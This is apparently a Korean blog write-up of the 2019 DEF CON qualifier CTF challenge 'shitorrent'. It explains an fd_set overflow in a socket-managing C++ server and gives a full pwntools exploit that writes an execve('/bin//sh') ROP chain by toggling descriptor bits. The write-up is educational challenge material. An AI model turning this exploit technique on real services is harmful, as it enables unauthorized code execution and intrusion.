	valread = read( sock , buffer, 1024);
	if (strncmp("TORADMIN", buffer, strlen("TORADMIN"))) {
		listeners.push_back(sock);
		printf("added listener node %d\n", sock);
	} else {
		admins.push_back(sock);
		FD_SET(sock, rfds);
		printf("added sending node %d\n", sock);
	}
	if (sock > lastfd) {
		lastfd = sock;
	}
	return 0;
}

void remove_node() {
	char buf[256];
	read(0, buf, 255);
	int bufno = atoi(buf);
	if (bufno > 2 && bufno <= lastfd) {
		close(bufno);
	}
	if (vhasele(listeners, bufno)) {
		vremove(listeners, bufno);
	}
	if (vhasele(admins, bufno)) {
		vremove(admins, bufno);
		if (FD_ISSET(bufno, rfds)) {
			FD_CLR(bufno, rfds);
		}
	}
}

void dispatch_it(int fd) {
	printf("dispatching from %d\n", fd);
	char *buf = (char *)calloc(1, 4096);
	int sz = read(fd, buf, 4096);
	printf("getting %s\n", buf);
	for (int i = 0; i < listeners.size(); i++) {
		write(listeners[i], buf, sz);
	}
	free(buf);
}

void workit() {
	struct timeval tv;
	tv.tv_sec = 5;
	tv.tv_usec = 0;

	int retval = select(FD_SETSIZE, rfds, NULL, NULL, &tv);
	// Don't rely on the value of tv now!

	if (retval) {
		puts("DEBUG: ready to send out the data");
		// FD_ISSET(0, &rfds) will be true.
		for (int i = 3; i < lastfd; i++) {
			if (FD_ISSET(i, rfds)) {
				dispatch_it(i);
				return;
			}
		}
	} else {
		printf("no data within 5 seconds quitting");
		exit(0);
	}
}

void notmain() {
	for(;;) {
		char buf[2];
		printmenu();
		read(0, buf, 2);
		switch(buf[0]) {
			case 'a':
				{
					add_node();
				}
				break;
			case 'r':
				{
					remove_node();
				}
				break;
			case 'w':
				{
					workit();
				}
				break;
			case 'q':
				{
					return;
				}
				break;
			case 'g':
				{
					puts("lol, just kidding");
				}
				break;
			default:
				{
					puts("not supported");
				}
				break;
		}
	}
}

int main(int argc, char **argv) {
	fd_set fds;
	rfds = &fds;
	lastfd = 2;
	setfdlimit();
	nobuf();
	intro();
	notmain();
	return 0;
}

 

C++로 작성된 서버코드이다. 클라이언트 입장에서는 ip와 port를 넘겨준 뒤, 서버에서 접속을 시도하면 적절한 값을 리턴해서 admin모드이거나 일반 user 모드로 등록이 가능하다.

 

미티게이션

checksec으로 확인해보면 아래와 같이 나타난다.

 

NX가 활성화 되어 있고, 스택 까나리가 적용되어 있다.

 

취약점

소스코드를 보면 잘 모르는 자료구조와, 매크로 함수가 보이는데 fd_set, FD_SET, FD_ZERO, FD_ISSET, FD_CLR 이런 녀석들이다.

 

여기서 FD는 File descriptor의 약자라고 한다. 이 함수들과 자료구조는 여러개의 소캣들을 열어서 connection을 맺어 놓은 상태에서 관리하기 위해 존재한다고 한다.

 

소캣 fd를 bitmap 자료구조로 관리하는 거라고 한다. 만약 3번 소캣을 사용중이면 FD_SET(fd_set, 3) 이런식으로 해서 3번 비트를 1로 만들고, FD_CLR(fd_set, 3)이런 식으로해서 3번 비트를 0으로 되돌리는 방식으로 소캣들의 사용 유무를 관리할 수 있다고 한다.

 

그래서 총 1024개의 소캣들을 관리할 수 있는데, 즉 fd_set의 자료구조는 1024bit의 크기를 갖는다.

 

리눅스 시스템에서 man fd_set 명령어로 관련 매뉴얼을 읽어볼 수 있다.

 

매뉴얼에서 Notes를 보면, 다음과 같은 구문들이 있다.


An fd_set is a fixed size buffer. Executing FD_CLR() or FD_SET() with a value of fd that is negative or is equal to or larger than FD_SETSIZE will result in undefined behavior. Moreover, POSIX requires fd to be a valid file descriptor.


fd_set는 고정 크기의 버퍼이므로, FD_SETSIZE를 넘는 값으로 FD_SET, FD_CLR 등을 호출하는 것은 Undefined behaivro이다. 라고 써있다.  바로 여기서 취약점이 나타난다.

 

FD_SETSIZE는 일반적으로 1024이며, 주어진 바이너리에서도 1024이다.

 

fd_set 자료구조를 보면 main context의 지역변수로 들어가게 되고, FD_CLR, FD_SET의 함수는 소캣 연결의 제한이 별도로 있지는 않다. (2^16이 제한인 듯 하다)

 

이를 이용해서 buffer overflow가 나타나게 된다.

 

mitigation들을 체크해보면 nx도 걸려있으므로, ROP chain을 구성해서 exploit을 하면 될 듯 하다.

 

익스플로잇

일단 익스플로잇을 하기 위해서는 서버단에서 접속이 가능한 ip와 port로 적절한 서비스를 열고 있어야 간편하다. 

 

서비스 등록

서비스를 등록하기 위해서 간단한 프로그램을 작성해서 컴파일을 하였다.

#include <stdio.h>
int main(int argc, char *argv[]) {
  char s[100];
  read(0, s, 16);
  if(strstr(argv[0], "lis") != NULL)
    write(1, "meow", 4);
  else
    write(1, "TORADMIN", 8);
  return 0;
}

하나는 파일명을 lis로 해서 meow를 리턴하는 normal user용 node로 두고, 남은 하나는 파일명을 peer로 해서 TORADMIN을 리턴하는 admin user용 node로 만들어 두겠다.

 

서비스 등록은 xinetd를 설치해서 설정하면 되겠다.

 

/etc/xinetd.d/defcon1 파일과 /etc/xinetd.d/defcon2 파일에 아래와 같이 각각 설정을 해준다.

 

/etc/xinetd.d/defcon1

/etc/xinetd.d/defcon2

 

그리고 아래 명령어를 실행해서 /etc/services 의 마지막 줄에 항목을 추가해준다.

xinetd 서비스를 재시작해주면 반영이 된다.

 

이제 nc 127.0.0.1 10001 나 nc 127.0.0.1 10002 명령어를 실행해서 잘 동작하는지 확인할 수 있다.

 

스택 카나리 우회

바이너리에 스택 카나리가 있긴 하지만 일반 유저로 node를 추가하면 fd만 값이 증가하고, fd_set은 건드리지 않게 되므로, 스택 카나리가 있는 부분을 뛰어넘고 return address를 overwrite가 가능하다.

 

ulimit 설정

로컬에서 실행을 하는데, 바이너리에 ulimit을 설정하는 부분이 있긴 하지만, 한번씩 동작을 하지 않는 것 같으므로 수동으로 커맨드라인에서 설정해줄 필요가 있다.

그리고 이 설정값은 터미널 마다 다르게 되므로 만약 새 터미널에서 서버 바이너리를 실행하게 된다면 다시 설정해주어야 한다.

 

$ ulimit -a

명령어로 최대 열 수 있는 파일 크기를 확인할 수 있다.

$ ulimit -n 60000

와 같은 명령어로 적당히 큰 수로 열 수 있는 파일 개수를 늘려준다.

 

오프셋 계산

바이너리를 disassemble 해 보면, main context는 위와 같다. 401743을 보면 rbp-0x90에 rfds 주소값이 있는 것을 알 수 있다. 그리고 401774를 보면 카나리는 rbp-0x8에 있다.

따라서 아래와 같은 스택프레임이 구성이 된다는 것을 알 수 있다.

 

그러면 ret addr 직전까지는 normal user node로 dummy값 fd를 증가시키고, 그 이후에는 fd_set을 이용해서 return address부터 값을 변조할 수 있게 된다.

이후 rop chain을 구성해서 exploit을 하면 된다.

 

로컬 익스플로잇시 sleep

로컬 서비스를 너무 빠르게 요청을 주면 xinetd 서비스에서 간혹 Connection Refused를 주는 경우가 있다. 이를 방지하기 위해서 0.04초 정도는 sleep을 해 주는 것이 좋다. 이것 때문에 익스플로잇의 실행 시간이 좀 더 들긴 하는데, 어쩔수없다.

 

 

익스플로잇 코드

Full exploit 코드이다. python3 + pwntools로 작성해보았다.

 

#!/usr/bin/env python3

from pwn import *
import time, sys

NORMAL_SERVICE_PORT = 10001
ADMIN_SERVICE_PORT = 10002
REST_QUANT=0.04

p = process('./shitorrent')


def add_node(host, port):
    global p
    msg = p.recvuntil('rrent')
    if b"Failed" in msg or b"not" in msg:
        print ("Failed....{}".format(msg))
        p.close()
        sys.exit()
    p.recvuntil('et flag')
    p.sendline('a')
    p.recvuntil('enter host')
    p.send(host.ljust(99, "\x00"))
    p.recvuntil('enter port')
    p.send(str(port).ljust(9, "\x00"))

def add_normal():
    add_node("127.0.0.1", NORMAL_SERVICE_PORT)
def add_admin():
    add_node("127.0.0.1", ADMIN_SERVICE_PORT)

def remove_node(fd):
    # print ("remove_node({})".format(fd))
    global p
    p.recvuntil('et flag')
    p.sendline('r')
    p.send(str(fd).ljust(255, "\x00"))

fd = 1216
rop = [
  0x0000000000407888, # pop rsi ; ret
  0x00000000006da0e0, # @ .data
  0x00000000004657fc, # pop rax ; ret
  u64(b'/bin//sh'),
  0x00000000004055c1, # mov qword ptr [rsi], rax ; ret
  0x0000000000407888, # pop rsi ; ret
  0x00000000006da0e8, # @ .data + 8
  0x0000000000460b90, # xor rax, rax ; ret
  0x00000000004055c1, # mov qword ptr [rsi], rax ; ret
  0x0000000000400706, # pop rdi ; ret
  0x00000000006da0e0, # @ .data
  0x0000000000407888, # pop rsi ; ret
  0x00000000006da0e8, # @ .data + 8
  0x0000000000465855, # pop rdx ; ret
  0x00000000006da0e8, # @ .data + 8
  0x00000000004657fc, # pop rax ; ret
  0x3b,
  0x0000000000490ec5, # syscall
  0xdeaddeadbeef
]


print ("start attach padding")
for i in range(3, 1216):
    if i % 101 == 100:
        print ("padding progress .... [{}/{}]".format(i, 1216))
    sleep(REST_QUANT)
    # print ("add normal {}".format(i))
    add_normal()

print("start to fill")
for i in range(0, 64 * len(rop)):
    if i % 101 == 100:
        print ("Fill bit progress .... [{}/{}]".format(i, 64*len(rop)))
    sleep(REST_QUANT)
    # print ("add admin {}".format(i))
    add_admin()

print ("Filling finished!")
print (p.recvuntil("et flag"))
p.sendline("g")
print (p.recvuntil("kidding"))
#input("#")
print("removing...")
for i, word in enumerate(rop):
    binary = bin(word)[2:].rjust(64, '0')[::-1]
    print (hex(word) + ": " + binary)
    print ("Removing.... [{}/{}]".format(i, len(rop)))
    for bit in binary:
        if bit == '0':
            sleep(REST_QUANT)
            remove_node(fd)
        fd=fd+1
    #input('#')

p.recvuntil('et flag')
p.sendline('q')
print("Execute shell!")
p.interactive()
p.close()

 

자료와 코드들은 깃헙에도 두었으므로 필요시 참고하면 괜찮을것 같다.

-----------------------------------------------------------------------------------------------

https://github.com/Einstrasse/ctf-practice/tree/master/2019-defcon-qual/shitorrent

https://linux.die.net/man/3/fd_set

https://blog.naver.com/tipsware/220810795410

https://github.com/o-o-overflow/dc2019q-shitorrent

https://github.com/david942j/ctf-writeups/blob/master/defcon-quals-2019/shitorrent/shitorrent.rb

 

+ Recent posts